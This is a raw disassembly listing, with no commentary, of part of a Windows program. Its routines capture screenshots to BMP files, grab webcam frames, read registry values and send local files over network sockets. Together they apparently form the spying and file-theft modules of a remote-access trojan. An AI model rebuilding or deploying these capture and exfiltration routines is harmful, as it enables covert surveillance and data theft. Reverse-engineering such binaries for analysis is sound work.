		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4D086C
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4D0748
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 270087Fh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 26608ABh
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4D0780
		push	[ebp+var_4]
		call	dword_4D06E0
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4D06E0
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4D06E0
		push	[ebp+var_4]
		call	dword_4D06E0

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8450
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D0774
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D0880
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D0880

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4D07C4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D07C4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4D0880

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4D0880

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4D0880

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4D08D4
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8450
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D0774
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D0880
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D0880

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4D0880
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4D0880

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D0880

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4D0880

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4D0880

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4D0880

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4D0880

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D0880

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4D0880

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4D08D4
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_43BAE4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_43BAE4
		mov	esi, offset dword_43BAF0
		mov	edi, offset dword_43CCE8

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4D0894
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4D0724
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42ED64
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_43CCE4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_43CCE4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4D0800
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D08A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D0864
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D07CC
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4D08BC

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43CD6468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022CA3h, 4429D868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43CD3468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004D08h, 0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022CA2h, 0A2A2E864h, 33900226h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h,	85004D08h
		dd 8D387EC0h, 0FFEE4C85h, 0F34068FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 49E89064h, 6A0226A2h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 0CD0068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 8BC15FFh,	75FF004Dh, 5600E8F0h, 5759FFFFh
		dd 2CA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_43CE64
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4D0824
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4D0850
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_43CE40
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4D07C8
		push	dword ptr [ebp-2Eh]
		call	dword_4D0754
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4D084C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_43CD64
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 270087Fh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_43CE20
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2750000h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4D0864
		push	eax
		call	dword_4D0820
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_43CE08
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4D080C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_43CDF0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_43CDCC

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4D08BC
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4D0874
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4D083C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26608ABh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_43CDA0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
